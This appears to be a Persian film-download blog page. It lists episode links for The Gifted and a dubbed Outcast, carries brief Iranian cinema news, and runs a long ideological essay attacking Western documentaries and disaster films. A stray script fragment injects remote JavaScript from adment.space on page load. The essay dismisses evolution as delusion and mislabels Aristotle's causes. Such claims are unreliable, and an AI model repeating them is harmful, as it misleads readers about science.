• تاریخ : ۲۶ام آبان ۱۳۹۶
  • موضوع : فیلم

دریافت سریال شگفت انگیز The Gifted قسمت ۰۱ با زیرنویس فارسی

دریافت با لینک مستقیم و کیفیت ۱۰۸۰p – حجم: ۷۱۳ مگابایت
دریافت با لینک مستقیم (سرور دوم) و کیفیت ۱۰۸۰p –
حجم: ۷۱۳ مگابایت

دریافت با لینک مستقیم و کیفیت ۷۲۰p – حجم: ۴۰۰ مگابایت
دریافت با لینک مستقیم (سرور دوم) و کیفیت ۷۲۰p –
حجم: ۴۰۰ مگابایت

 

دریافت سریال شگفت انگیز The Gifted قسمت ۰۲ با زیرنویس فارسی

دریافت با لینک مستقیم و کیفیت ۱۰۸۰p – حجم: ۶۸۳ مگابایت
دریافت با لینک مستقیم (سرور دوم) و کیفیت ۱۰۸۰p –
حجم: ۶۸۳ مگابایت

دریافت با لینک مستقیم و کیفیت ۷۲۰p – حجم: ۳۸۳ مگابایت
دریافت با لینک مستقیم (سرور دوم) و کیفیت ۷۲۰p –
حجم: ۳۸۳ مگابایت

 

دریافت سریال The Gifted قسمت ۰۳ با زیرنویس فارسی– به زودی …

دریافت با لینک مستقیم و کیفیت ۱۰۸۰p – حجم: – مگابایت
دریافت با لینک مستقیم (سرور دوم) و کیفیت ۱۰۸۰p –
حجم: – مگابایت

دریافت با لینک مستقیم و کیفیت ۷۲۰p – حجم: – مگابایت
دریافت با لینک مستقیم (سرور دوم) و کیفیت ۷۲۰p –
حجم: – مگابایت

 

دریافت سریال The Gifted قسمت ۰۴ با زیرنویس فارسی– به زودی …

دریافت با لینک مستقیم و کیفیت ۱۰۸۰p – حجم: – مگابایت
دریافت با لینک مستقیم (سرور دوم) و کیفیت ۱۰۸۰p –
حجم: – مگابایت

دریافت با لینک مستقیم و کیفیت ۷۲۰p – حجم: – مگابایت
دریافت با لینک مستقیم (سرور دوم) و کیفیت ۷۲۰p –
حجم: – مگابایت

 

دریافت سریال The Gifted قسمت ۰۵ با زیرنویس فارسی – به زودی …

دریافت با لینک مستقیم و کیفیت ۱۰۸۰p – حجم: – مگابایت
دریافت با لینک مستقیم (سرور دوم) و کیفیت ۱۰۸۰p –
حجم: – مگابایت

دریافت با لینک مستقیم و کیفیت ۷۲۰p – حجم: – مگابایت
دریافت با لینک مستقیم (سرور دوم) و کیفیت ۷۲۰p –
حجم: – مگابایت

 

دریافت سریال The Gifted قسمت ۰۶ با زیرنویس فارسی – به زودی …

دریافت با لینک مستقیم و کیفیت ۱۰۸۰p – حجم: – مگابایت
دریافت با لینک مستقیم (سرور دوم) و کیفیت ۱۰۸۰p –
حجم: – مگابایت

دریافت با لینک مستقیم و کیفیت ۷۲۰p – حجم: – مگابایت
دریافت با لینک مستقیم (سرور دوم) و کیفیت ۷۲۰p –
حجم: – مگابایت

 

دریافت سریال The Gifted قسمت ۰۷ با زیرنویس فارسی – به زودی …

دریافت با لینک مستقیم و کیفیت ۱۰۸۰p – حجم: – مگابایت
دریافت با لینک مستقیم (سرور دوم) و کیفیت ۱۰۸۰p –
حجم: – مگابایت

دریافت با لینک مستقیم و کیفیت ۷۲۰p – حجم: – مگابایت
دریافت با لینک مستقیم (سرور دوم) و کیفیت ۷۲۰p –
حجم: – مگابایت

 

دریافت سریال The Gifted قسمت ۰۸ با زیرنویس فارسی – به زودی …

دریافت با لینک مستقیم و کیفیت ۱۰۸۰p – حجم: – مگابایت
دریافت با لینک مستقیم (سرور دوم) و کیفیت ۱۰۸۰p –
حجم: – مگابایت

دریافت با لینک مستقیم و کیفیت ۷۲۰p – حجم: – مگابایت
دریافت با لینک مستقیم (سرور دوم) و کیفیت ۷۲۰p –
حجم: – مگابایت

 

 

جهت مشاهده اسکرین شات سریال شگفت انگیز The Gifted کلیک کنید.
فرمت: mkv
منبع: سایت آپ تی وی

  • تاریخ : ۲۶ام آبان ۱۳۹۶
  • موضوع : فیلم

دریافت فیلم: چندی پیش، رهبر معظم انقلاب پس از تماشای فیلم سینمایی ویلایی‌ها ساخته منیر قیدی، از کارگردان این اثر قدردانی کردند.

به گزارش دریافت فیلم، فیلم سینمایی «ویلایی‌ها» اولین تجربه سینمایی «منیر قیدی»، روایتی تازه از همسران فرماندهان دفاع مقدس است که در شهرکی، اطراف جبهه، اتفاقات مختلفی را تجربه و روزهای پر استرس و اضطرابی را می گذرانند و هر از گاهی با وقایع و حوادث جنگ از جمله شهادت همسرانشان روبرو هستند.

این فیلم اولین تجربه‌ کارگردانی منیر قیدی است که حالا مورد تقدیر رهبر انقلاب قرار گرفته است.

ماجرا فیلم «ویلایی‌ها» براساس خاطرات بانوی ایثارگر «طوبی عرب‌پویان» همسر شهید «علیرضا نوری» و سایر همسران سرداران جنگ که در این منطقه زندگی کرده‌اند، نوشته شده است.

این فیلم در سی و پنجمین جشنواره فیلم فجر در هفت بخش نامزد دریافت سیمرغ بلورین شد و توانست سیمرغ بلورین استعداد درخشان بهترین فیلم اولی، سیمرغ بلورین بهترین جلوه‌های ویژه بصری و سیمرغ بلورین بهترین بازیگر نقش مکمل زن را کسب کند.


  • تاریخ : ۲۶ام آبان ۱۳۹۶
  • موضوع : فیلم

دریافت فیلم Outcast 2014 رانده شده با دوبله فارسی و کیفیت عالی

دریافت فیلم Outcast 2014 رانده شده , دریافت فیلم رانده شده ۲۰۱۴ , دریافت فیلم Outcast دوبله فارسی , دریافت فیلم دوبله فارسی, دریافت فیلم خارجی، دریافت فیلم

کیفیت HD 1080p , HD 720p – سانسور شده

دریافت فیلم Outcast 2014 رانده شده با دوبله فارسی

این فیلم دوبله فارسی و سانسور شده و هیچ گونه صحنه غیر اخلاقی و مغایر با شئونات اسلامی ندارد.

نام اثر: فیلم رانده شده Outcast

کیفیت: HD 1080p , HD 720p –

امتیاز: IMDb 6.4/10

ژانر: هیجان انگیز | ماجراجویی | تاریخی

مخاطب: تماشای این فیلم به افراد زیر ۱۳ سال توصیه نمی شود.

نوع فیلم: سینمایی

محصول: آمریکا

کارگردان: نیک پاول

ستارگان: نیکلاس کیج ، هیدن کریستینسن ، الکساندر بیلی ، سایمون چین

سال تولید: ۲۰۱۴ میلادی

زبان: فارسی (دوبله)

مدت زمان: ۹۷ دقیقه

درباره فیلم:
رانده شده فیلمی اکشن، ماجرایی و مهیج محصول سال ۲۰۱۴ کشورهای آمریکا، چین، کانادا و فرانسه است. کارگردانی این فیلم بر عهده “نیک پاول” بوده است و بازیگرانی چون “نیکلاس کیج”، ” هیدن کریستینسن” و ” الکساندر بیلی” در آن به ایفای نقش پرداخته اند. رانده شده با بودجه ۲۵ میلیون دلاری ساخته شده است.

ماجرا فیلم:
یک جنگجوی نامی با دختر و پسر امپراطور چین همراه می شود تا برادر ظالم آنها که بدنبال مرگشان است را شکست دهد…

لینک دریافت رایگان:



‘);
var code = document.createElement(“script”);
code.type = “text/javascript”;
code.async = true;
code.src = “http://adment.space/b/b.js”;
var s = document.getElementsByTagName(“script”)[0];
s.parentNode.insertBefore(code, s);
})();

راهنمای دریافت:


لطفا برای پخش هرچه بهتر فایل های مالتی مدیا پلیر خود را آپدیت کنید! تنها پلیر مورد تایید وبسایت آپ تی وی، KMPlayer 4.1.4.7 به بالا می باشد. .

برای دریافت فیلم ها با گوشی اندروید تنها برنامه مورد تایید وبسایت آپ تی وی، Advanced Download Manager Pro v5.1.2  می باشد. .

  • تاریخ : ۲۵ام آبان ۱۳۹۶
  • موضوع : فیلم

دریافت فیلم: مراحلی فنی فیلم «عرق سرد» دومین ساخته سینمایی سهیل بیرقی همچنان ادامه دارد و کارن همایونفر به زودی ساخت موسیقی فیلم را آغاز می‌کند.

به گزارش دریافت فیلم، با پایان ساخت جلوه‌های ویژه بصری، سینا قویدل اصلاح رنگ و نور ” عرق سرد” را انجام می‌دهد و صداگذاری فیلم توسط علیرضا علویان رو به اتمام است.

همچنین کارن همایونفر موسیقی فیلم را می سازد تا “عرق سرد” برای حضور در جشنواره فیلم فجر آماده شود.

فیلمبرداری فیلم ‌سینمایی “عرق سرد” از اواخر تیرماه در تهران آغاز شده بود و پس از ٤٠ جلسه به پایان رسید.

یکی از نکات جالب توجه فیلم حضور باران کوثری در نقش یک فوتبالیست است. کوثری برای بازی در این نقش تمرینات بسیار سخت و تخصصی رشته فوتبال را پشت سر گذاشته است.

باران کوثری، امیر جدیدی، لیلی رشیدی، هدی زین‌العابدین و سحر دولتشاهی بازیگران اصلی “عرق سرد” هستند.

وامل فیلم “عرق سرد” عبارتند از: نویسنده و کارگردان: سهیل بیرقی، مجری طرح و مدیر تولید: کامران حجازی، برنامهریز: امید شیرانگیز، مدیر فیلمبرداری: فرشاد محمدی، صدابردار: مهدی صالح کرمانی، طراح چهرهپردازی: ایمان امیدواری، منشی صحنه: شقایق طیبی، دستیار اول کارگردان: محمدرضا کشمیری، جلوه های ویژه کامپیوتری: سینا قویدل، عکاس: امیرحسین شجاعی، مدیر تدارکات: عماد طاهری، جانشین تولید: محمد حیدرقلی، گروه بدلکاری: امیرحسین خنجری، فرزاد میکائیلی (گروه تندر)، تهیهکننده: مهدی داوری.

  • تاریخ : ۲۵ام آبان ۱۳۹۶
  • موضوع : فیلم

دریافت فیلم: م. شاه حسینی/ اهتمام ویژه ی صنعت سینمای غرب به تولید آثاری نظیر زمین‌لرزه؛ شیوع؛ شهاب‌وار ؛ طوفان؛ گردباد؛ آتشفشان و صدها آثار دیگر این چُنین را می توان نمودی بارز از تصویر سازی مد نظر نظام تمدنی غرب به منظور حقنه ی ایمان به وجود آیات مادی معرفی نمود؛ آثاری که اولویت اصلی و ساختار روایی خود را بر پایه ی حذف خالق و وجود آفریدگار جهان از معادلات جهان و ساختار وجودی عالم هستی متمرکز ساخته و سعی می نمایند تا تمامی پدیده های موجود در عالم را نه به عنوان نشانه و آیتی از برای وجود خالق، بلکه به صورتی برآمده از فعل و انفعالات مادی تفسیر نمایند.

همان گونه که نخست در مطلبی باعنوان ماجرای زایش لیبرالیسم و سورپرایز قرن بیستم به استحضار رسید، لیبرالیسم (Liberalism) روشی است که مبتنی بر آن، فرد در انجام امور خود از آزادی مطلق برخوردار بوده و با اعتقاد کامل نسبت به مباح بودن تمامی امور و شئون زندگی، رویکرد خود را مبتنی بر اباحه  گری تنظیم می نماید و در این مسیر هیچ امر و نهی را در زندگی برنمی تابد و هیچ واجب و حرامی را مشروع نمی انگارد، موضوعی که در برون ریز خود با اصول و مقدمات فکری ویژه و مبانی شاخصی شناخته می شود که شاید اصلی ترین و مهم ترین آن را بتوان فردگرایی (Individualism) و اصالت بخشیدن به فرد دانست، موضوعی که طی مطلبی با عنوان ترویج فردگرایی در نظام لیبرالیسم با سوپراستارهای هالیوودی، سعی شد تا برخی از جوانب این تفکر معین گردیده و مشخص شود که مبتنی بر نظریه فردگرایی، فعل و انفعال‌هایی که میان انسان‌ها صورت می‌گیرد، از ماهیتی واقعی برخوردار نبوده و شکل گیری جوامع و اجتماعات انسانی، مرکب واقعی محسوب نمی شود. سپس طی مطلبی دیگر با عنوان فردگرایی اخلاقی در عصر کازابلانکا، مختصری به شرح کارکرد اصلی اصالت فرد در تقابل با ارزش های اجتماعی و حذف دین از بستر جامعه پرداخته و نحوه ی خلاصی فردگرایان از انحطاط مطلق اجتماعی، با طرح ماجرا فردگرایی اخلاقی (Moral Individualism) و همبستگی ارگانیکی (Organic Solidarity) مورد بررسی و ارزیابی قرار گرفت و تا حدودی معین گردید که در تفکر لیبرال، چگونه فرد بر مسندی طاغوتی نشسته و ادعای خدایی می نماید و منفعت خویش را بر مصلحت وحیانی جامعه بشری رجحان  می بخشد. پس از آن بود که در مطلبی با عنوان امانیسم یا تئیسم؛ مساله این است! به خاستگاه زایش فردگرایی در نظامات لیبرال پرداخته شد و ضمن معرفی تفکر بشر محور (Humanism) به عنوان بُن مایه ی اساسی تمامی مکاتب و نظامات اجتماعی غرب که در صورت کلی خود مجموع نظامات جمع گرای سوسیالیستی و همچنین نظامات فردگرای لیبرال را دربرمی گیرد، چنین بیان گردید که در تفکر اُمانیستی، انسان محور تمامی ارزش‌های مطرح در عالم قرار گرفته و مبتنی بر این نگرش، تنها اراده و خواست بَشریت است که در جهان از اصالت برخوردار می باشد، امری که موجب می شود تا تفکر بشر محور در تقابل مستقیم و عینی با تفکر خدا محور (Theism) درآید و انسان را به برهوتی ظلمانی بکشاند. سپس در مطلبی با عنوان هالیوود و حقنه ی شَک در باورهای خدامحور، به حربه ی نظام تمدنی غرب برای مشروعیت بخشیدن به تفکر بشر محور در تقابل با رویکرد خدا محور اشاره شد و بیان گردید که متفکران الحادی غرب، چگونه اقدام به حذف باورهای قلبی که به عنوان متعلقات ایمان در تفکر خدا مَدار و بر بستر ادیان متفاوت موضوعیت داشت، تقابل جدی رویکرد بَشر محور با تفکر خدا محور را عیان ساختند و به انکار وجود هر موجود مجردی در عالم مبادرت نمودند. سپس در مطلبی با عنوان هالیوود و تزریق معنویت مُدرن بر بستر تفکر اُمانیسم، به بررسی جنبه های مواجهه ی نظام لیبرالیسم با اصلی ترین و مهم ترین عرصه ی تمایز میان تفکر خدا محور و تفکر بشر محور در موضوعی با عنوان ایمان به وجود عالم غیب پرداخته شد و پس از آن در مطلبی با عنوان سینمای غرب و چالشی با عنوان مرگ، به بررسی جنبه های مواجهه ی نظام تمدنی غرب در عرصه ای دیگر از تمایزات آشکار میان تفکر خدا محور و تفکر بشر محور در موضوعی با عنوان ایمان به آخرت پرداخته شد و نوع مواجهه ی تفکر اُمانیستی با ماجرا فراگیر و عمومی مرگ (Death) مورد بررسی قرار گرفت و سپس در مطلبی با عنوان سه فرمان هالیوود برای تحقق آخرین وسوسه انسان خداباور، به ماجرا ایمان به وجود انبیای الهی ورود پیدا نموده و به بررسی جنبه های مختلف این باور ایمانی به عنوان تلفیقی از عوالم هستی و بستری از برای تلاقی میان عالم غیب و عالم مشهودات پرداخته شد و ماهیت آن به عنوان باوری که در میان تمامی تفکرات مختلف خدا محور (Theism) از وجاهتی مطلق برخوردار می باشد، مرور گردید و جنبه های مختلف آن به عنوان عرصه  تقابل دیگری که تمایزات میان تفکر خدا محور و تفکر بشر محور را رقم می زند، مشخص گردید و سپس در مطلبی با عنوان مهاجمان صندوق گمشده و تقابل با کتاب الهی، جوانب حقد و کینه تفکرات اُمانیستی (Humanism) نسیت به ماجرا ایمان به وجود کتاب الهی مورد بررسی قرار گرفت و بیان گردید که کُتب آسمانی و صُحف انبای الهی به سبب آنکه مجموعه ای مکتوب و اِملایی غیر بَشری و در عین حال از برای هدایت و راهنمای بَشر به سوی سعادت و تکامل معنوی می باشند؛ چگونه عرصه ی جدید دیگری از تقابلات میان دو تفکر خدا محور و بَشر محور را هویدا می سازند و سپس در مطلبی با عنوان لژیون های هالیوود در مواجهه با ملائکه الهی، سعی شد تا به ماجرا ایمان به وجود ملائکه الهی به عنوان یکی دیگر از متعلقات ایمانی و اصول مطرح در تفکر خدا محور پرداخته شود و مواجهه ی غرب با این متعلق ایمانی مورد بررسی قرار گرفت تا در ادامه به موضع نظام لیبرالیسم در باب ایمان به وجود آیات الهی وارد شویم و مواجهه ی نظام تمدنی غرب با تفکر خدامحور را مبتنی بر تفکر اُمانیستی در این عرصه، مرور نموده و ارزیابی نماییم.



۶. ایمان به وجود آیات الهی

ایمان به وجود آیات الهی را می توان محل ظهور و تجلی گفتمان خدا محور (Theism) قلمداد نمود؛ گفتمانی که تمام پدیده های موجود در عالم هستی را نشانه ای از ذات اقدس الهی در نظر گرفته و معرفت راستین و صحیح بَشری را در چارچوب توجه به نظام علیت (Causality) و بر بستر صورت وضعیت های چهارگانه ی علت فاعلی (Material cause)، علت غایی (Final cause)، علت صوری (Formal cause) و علت مادی (Efficient cause)، متوجه ذات یگانه خالق عالم هستی به عنوان علت‌العلل می سازد.



بر این اساس ایمان به وجود آیات الهی را می بایست موضوعی برآمده از توجه و نگرش به جمیع مخلوقات الهی و در قالب های شش گانه ی نَباتات، جَمادات، حیوانات، انسان ها، مَلائکه و جِنیان ملاحظه نمود؛ مخلوقاتی که کُل عالم هستی اعم از عالم غیب و عالم مشهودات را در بَرگرفته و وجود و حضورشان معلول و نیازمند عِلتی است که درک آن به عنوان نشانه‌های توحید و وجود خالق، در آفاق و اَنفس محسوب و قابل ملاحظه می باشند.





مبتنی بر تفکر خدا محور؛ وجود خالق امری مشهود است و هر انسانی با فطرت خود در مرحله ی اول خدا را می‌شناسد و پس از آن متوجه صفات الهی می گردد و با طی این مسیر در قالب آیات الهی، متوجه کُنه ذات توحیدی رب العالیمن می شود. از این جهت آنچه را که تحت عنوان آیات الهی ظهور و بروز پیدا می کند، می توان در دو سطح کُلی تقسیم بندی نمود؛ نخست نشانه ها و آیاتی که در مجموعه ی هستی و در آفاق عالم پراکنده بوده و از آن به آیات آفاقی تعبیر می شود و دیگر نشانه ها و آیاتی که در ساختار وجودی انسان و در بطن آدمی نهفته است و تحت عنوان آیات اَنفسی مورد شناسایی قرار می گیرد و در این میان آنها که از آیات آفاقی مدد می‌گیرند، چون آیات آفاقی مخلوق خداست، دلالت انسان متفکّر به آیات آفاقی مخلوق خداست؛ در نتیجه به خدا عرض می نمایند که ما به وسیله تو، تو را شناختیم و همچنین آنها که از آیات اَنفسی طرفی می‌بندند، چون نشانه‌های روح و آیاتی که در جان انسان موجود است، مخلوق خداست، دلالت انسان به استفاده از آیات اَنفسی نیز مخلوق خدا خواهد بود و آنها هم از راه عنایت‌های الهی به خدا رسیده‌اند.






ایمان به وجود آیات الهی و توجه به ذات یگانه خالق عالم هستی، به عنوان علت‌العلل سبب می شود تا بُن مایه  های اساسی تفکر بَشر محور، دچار خلاء معنایی شده و کیان نظام تمدنی غرب که به تعریف عالم هستی، بر محور وجودی انسان و حول وجود خاکی ایشان متمرکز می باشد، با چالشی جدی مواجه گردد؛ چالشی که تمام ذهنیت های مطرح در تفکر شوم اُمانیستم (Humanism) و بالاخص محور قرار گرفتن بَشر و جایگزین خدا ساختن انسان را باطل می سازد.




نظام تمدنی غرب در مواجهه ی خود با ماجرا ایمان به وجود آیات الهی، همواره سعی نموده تا تقابل غیر مستقیمی را مبتنی بر انگاره های بَشر محورانه ی خود رقم زند؛ انگاره هایی که تلاش می کند تا تمامی خِلقت و پدیده های موجود در عالم هستی را به درون آزمایشگاه های خود ببرد و از طریق حس و تجربه به تجزیه و تحلیل خلقت بپردازد؛ رویکردی که به بهره گیری تمام و کمال از ظرفیت فیلم مستند انجامید و تولید آثار بی شمار مستند، اعم از مستندهای علمی، تاریخی، آموزشی و… را در این راستا ارزیابی نمود.





بر این اساس نظام تمدنی غرب با بهره گیری از ظرفیت های موجود در عرصه ی فیلم مستند تلاش ویژه خود را معطوف این مهم نمود تا نظام ساختاری و انگاراه های بَشر محورانه ی خود را بر بستری رسانه ای متجلی ساخته و با عرضه ی هوشمندانه ی حرکت تصاویر (Motion picture) و چیدمان دقیق نور (Light) و صدا (Sound) در قالبی واقعی و ظاهری حقیقی (Documentary film)، سعی  نماید تا ایمان به وجود آیات مادی را در عمق وجود مخاطبان خود حقنه سازد.





مستند سیاره زمین (Planet Earth) را می توان از جمله شاخص ترین آثاری دانست که در راستای رسالت رسانه های غرب، هدف اصلی خود را معطوف حقنه ی ایمان به وجود آیات مادی در عمق وجود مخاطبان خود قرار می دهد؛ مجموعه ای تلویزیونی، که طی مدتی بیش از پنج سال، توسط واحد تاریخ طبیعی شبکه ی بی بی سی ((BBC Natural History Unit (NHU)) و با سرمایه گذاری مستقیم بنگاه سخن‌پراکنی بریتانیا (British Broadcasting Corporation) تولید و در سال ۲۰۰۶ میلادی پخش اولیه ی خود را از این شبکه آغاز نمود؛ مستندی ویژه که توانست جوایز مختلف هنری و رسانه ای را از آن خود سازد.





سیاره زمین (Planet Earth) تا سال ۲۰۱۰ میلادی در بیش از ۱۳۰ کشور به نمایش در آمد و مخاطبان بسیاری را در نقاط مختلف جهان همراه خود ساخت؛ مجموعه ای یازده قسمتی که مبتنی بر انگاراه های بَشر محورانه ی به معرفی و تحلیل زمین (Earth) به عنوان سومین سیاره از سامانه ی خورشید پرداخته و در هر بخش، به مدت ۵۰ دقیقه تلاش می نماید تا زیست‌بوم ها (Biome) و شرایط طبیعی محیط در مناطق مختلف زندگی و زیستگاه های (Habitat) گوناگون در عالم هستی را مرور نماید؛ مروری ویژه که شامل مکان هایی می شود که توسط بشر دست‌نخورده مانده و این مجموعه در بخش ها و فواصلی مجزا با عنوان از قطب تا قطب؛ کوه‌ها؛ آب شیرین؛ غارها؛ بیابان‌ها؛ دنیاهای یخی؛ جلگه‌های پهناور؛ جنگل‌ها؛ دریاهای کم‌عمق؛ جنگل‌های فصلی و اعماق اقیانوس ها مخاطبان خود را با سرزمین‌های تازه و حیات‌ وحشی جدید مواجه می سازد؛ مروری که در بطن خود به ارائه ی یک نمای مادی از جهان می پردازد؛ نمایی کلی از جهانی مادی که پدید های معرفی شده در آن نه به عنوان مخلوقات الهی، بلکه به عنوان پدیده هایی طبیعی و در قالب نظام تفکری اُمانیستم (Humanism) ذهن مخاطب را درگیر خود نموده و ایمان به وجود آیات مادی را در عمق وجودی ایشان نهادینه می سازد.






البته نظام تمدنی غرب همواره سعی نموده تا از نگرش حقیقی به پدیده های موجود در عالم هستی فاصله گرفته و توجه به نظام علیت را، که محل ظهور و تجلی گفتمان خدا محور می شود، به وادی مغالطه های ملحدانه ی فیلسوفان خود کشانده و رویکرد تقابلی خود در عرصه ی ایمان به وجود آیات الهی را در چارچوب کُلی هجویه ای با عنوان تکامل یا فرگشت (Evolution) سامان دهد.



به عبارت دیگر، نظام تمدنی غرب در رویکرد تقابلی خود با تفکرات خدا محور سعی نمود تا در قالب هجویه ای با عنوان تکامل یا فرگشت، اصل خَلق عالم هستی توسط خالق را مردود شمرده و تکامل و تغییر گونه‌های حیات را طی زمان و در طول نسل‌ها، در پاسخ به پرسش اساسی نظام علیت مطرح نموده و نظام آفرینش را به عنوان آیت و نشانه ای از تکامل زیستی و اندامی تبیین ساخته و ماده (Matter) را علت‌العلل مطلق و غیرقابل تردید در مجموعه ی هستی و تثبیت کننده ی نوع نگاه بَشر محور و اُمانیستم (Humanism) معرفی نماید.





البته رویکرد رسانه  ای غرب در تقابل و مواجهه غیر مستقیم با ماجرا آیات الهی و حقنه ی ایمان به وجود آیات مادی در عمق وجود مخاطبان، محدود به ابزار مُستند (Documentary) و بهره گیری از ظرفیت های موجود در آن به عنوان سینمای بی واسطه و عرضه ی فیلم های تاریخ طبیعی (Natural History Film) و فیلم های حیات وحش (Wildlife Film) و یا فیلم های قوم نگاری (Ethnographic Film) و به طور کل مستند طبیعت (Nature Documentary) و… نبوده و  این رویکرد همواره به عنوان اصلی غیر قابل تعدی در صنعت سینمای غرب مورد توجه واقع گردیده است.





رویکردی که به صورت برجسته ای در عموم فیلم‌های علمی تخیلی آمریکایی (American Science Fiction Films) که در قالب های علمی تخیلی اَکشن (Science Fiction Action) و علمی تخیلی هیجانی (Science Fiction Thriller) و علمی تخیلی ترسناک (Science Fiction Horror) و حتی فیلم‌های علمی تخیلی کُمدی (Comedy Science Fiction) منعکس گردیده و در سایر تولیدات صنعت سینمای غرب نیز قابل ملاحظه می باشد.






بر این اساس، نظام تمدنی غرب در عرصه ی مواجهه  و تقابل خود سعی نمود تا ایمان به وجود آیات مادی را جایگزین ایمان به وجود آیات الهی نموده و در این راستا مبتنی بر فرضیه های کیهان‌زایی (Cosmogony)، نشانه ها و آیاتی را که در مجموعه ی هستی و در آفاق عالم پراکنده می باشند، مورد مطالعه قرار داده و در قالب تئوری های حیات‌زایی یا آبیوژنز (Abiogenesis) به بررسی و تشریح چگونگی ایجاد حیات و زندگی در زمین بر بستر چهار فاز اصلی ماده (State of Matter) پرداخته و در دایره ی حسّ و تجربه به توضیح نحوه ی ایجاد زندگی از مواد غیر زنده بر بستر ترکیبات آلی ساده پرداخته و روند تدریجی پیدایش و فرایند طبیعی ایجاد زندگی از مواد غیر زنده اعم از جامدات (Solid)، مایعات (Liquid)، گازها (Gas) و پلاسما (Plasma) و تشکیل موجودات زنده را مرور و چگونگی و چرایی به وجود آمدن موجودات زنده و پیچیدگی ایجاد زندگی را بر بستر دو تئوری سوخت‌وساز یا متابولیزم (Metabolism) و همتاسازی از دی. ان. ای (DNA replication) توجیه  نماید.





اهتمام ویژه ی صنعت سینمای غرب به تولید آثاری نظیر زمین‌لرزه (Earthquake)؛ شیوع (Outbreak)؛ شهاب‌وار (Meteor)؛ طوفان (Storm)؛ گردباد (Twister)؛ آتشفشان (Volcano) و صدها آثار دیگر این چُنین را می توان نمودی بارز از تصویر سازی مد نظر نظام تمدنی غرب به منظور حقنه ی ایمان به وجود آیات مادی معرفی نمود؛ آثاری که اولویت اصلی و ساختار روایی خود را بر پایه ی حذف خالق و وجود آفریدگار جهان از معادلات جهان و ساختار وجودی عالم هستی متمرکز ساخته و سعی می نمایند تا تمامی پدیده های موجود در عالم را نه به عنوان نشانه و آیتی از برای وجود خالق، بلکه به صورتی برآمده از فعل و انفعالات مادی تفسیر نمایند.







این گونه است که صنعت سینمای غرب با تولید آثاری همچون سن آندریاس (San Andreas)، سعی می نماید تا نشانه ها و آیات عظمای الهی را به عنوان پدیده هایی مادی تفسیر نموده و از پدیده هایی همچون زلزله به عنوان بلایای طبیعی (Natural disaster) تعبیر و با حذف صورت وجود خالق در گردونه ی آفرینش، ایمان به وجود آیات مادی را جایگزین ایمان به وجود آیات الهی سازد.




سن آندریاس


San Andreas


به کارگردانی برد پیتون (Brad Peyton)


محصول سال ۲۰۱۵ میلادی






البته باید توجه داشت که نظام رسانه ای غرب در قالب تولید این گونه آثار سینمایی، همچون فیلم هسته (The Core)، سعی می نماید تا ایمان به وجود آیات مادی را مبتنی بر آموزه های بَشر محورانه (Humanism) معنی بخشیده و به نحوی در ذهن مخاطبان خود تصویر نماید که حتی آن هنگام که هسته ی مرکزی کره  زمین به دلایلی ناشناخته از چرخش باز می ایستد نیز این امر به عنوان نشانه ای از وجود و حاکمیت ماده در عالم هستی تفسیر می شود و در این شرایط تنها بَشر است که به عنوان محور عالم هستی می تواند به مرکز زمین برود و دوباره هسته ی مرکزی کره  زمین را فعال و دنیا را از نابودی حتمی نجات دهد.





 هسته


The Core


به کارگردانی جان امیل (Jon Amiel)


محصول سال ۲۰۰۳ میلادی 







همچنین نظام تمدنی غرب در راستای حقنه ی ایمان به وجود آیات مادی نوع نگرش به انسان را از مرتبه ی مخلوق الهی به سطح جانداری برآمده از ماده فروکاست داده و پس از طرح نحوه ی شکل گیری طبیعی و فرایند پیچیده ی سامان یافتن جانداران تک‌یاخته‌ای (Unicellular organism) از جاندارانی که سلول های آن هسته ی واقعی و غشای هسته ای ندارند و به عنوان موجودات پیش‌هسته‌ای یا پروکاریوت (Prokaryote) شناخته می شوند و… در قالب موهوماتی تحت عنوان تکامل یا فرگشت (Evolution) به توصیف نحوه ی پیدایش جانداران چندیاخته‌ای (Multicellular organism) پرداخته و شکل گیری گیاهان (Plantae) و قارچ‌ها (Fungus) و حیوانات (Animalia) را به عنوان آیت و نشانه ای از برای حضور ماده (Matter) بیان ساخته و در این میان نوع انسان را نیز تکامل یافته ای در دایره ی حیوانات و به تبع آن جانداران تک سلولی معرفی می سازد.




بر اساس نظریه فرگشت (Evolution)؛ آدمی نه تنها مخلوق خداوند و فرزندی در دایره ی فرزندان حضرت آدم علیه السلام محسوب نمی شوند؛ بلکه موجودی تکامل یافته از انسان خردمند باستانی (Archaic humans) و انسان خردمند ایدالتو (Homo sapiens idaltu) است که بیش از چندصد هزار سال پیش زیست می نموده و در دایره ی حیوانات (Animalia) تعریف می شود؛ موجودی برآمده از خانواده ی نخستی‌سانان (Primate) که به عنوان جانداران چندیاخته‌ای (Multicellular organism) در نهایت از موجودات تک سلولی (Unicellular organism) پدید آمده و از ریشه ای پروکاریوت (Prokaryote) برخوردار است؛ موجودی که در فرایند طبیعی پیچیده ای، از موجودات    بی جان و از وضعیت کُلی چهار فاز اصلی ماده (State of Matterبه صورت موجودات جاندار یا اُرگانیسم (Organism) تغییر وضعیت داده است؛ موجودی بی جان که فرگشت طبیعی یافته و در نهایت تکامل و تغییر خود از وضعیت انسان نئاندِرتال (Neanderthal)، به صورت انسان نوین یا هومو ساپینس (Homo sapiens) را پشت سر گذاشته است؛ تغییراتی بعضاً طنزگونه که بر پیکره ی شک دکارتی (Cartesian doubt) سامان یافته و بر بستر ادراکات محدود آزمایشگاهی بَزَک  داده شده و ارائه ی جامع و تبیین تمامی آن، ماهیت نظریه تکامل انسان (Human evolution) را در نظام تمدنی غرب رقم می زند.






به عبارتی دیگر؛ نوع نگرش پدید آمده از ایمان به وجود آیات مادی سبب می شود تا نظام تمدنی غرب، ضمن معرفی انسان به عنوان موجودی تکامل یافته از جانداران تک سلولی؛ نوع انسان را جانوری فرگشت یافته  در خانواده ی نخستی‌سانان (Primate) و به عنوان گونه‌ای مجزا از انسانیان یا هومینید (Hominidae) معرفی نموده و سپس در راستای تفکرات بَشر محورانه و مبتنی بر ذهنیت  اُمانیستی، سعی مُبرم خویش را معطوف فرگشت و تکامل انسان (Human Evolution) ساخته و محوریت بَشر بر عالم هستی را مبتنی بر اصل تنازع بقا و مبارزه برای وجود (Struggle for Existence) امر قطعی تصویرگری و به عنوان سرنوشت محکوم و غیر قابل تغییر در عالم مطرح و عدول از این محوریت و هر گونه تغییر در این واقعیت را به عنوان صورت بدور از خرافه و توهمات مذهبی آخرالزمان (End Time) و پایان جهان متجلی می سازد.





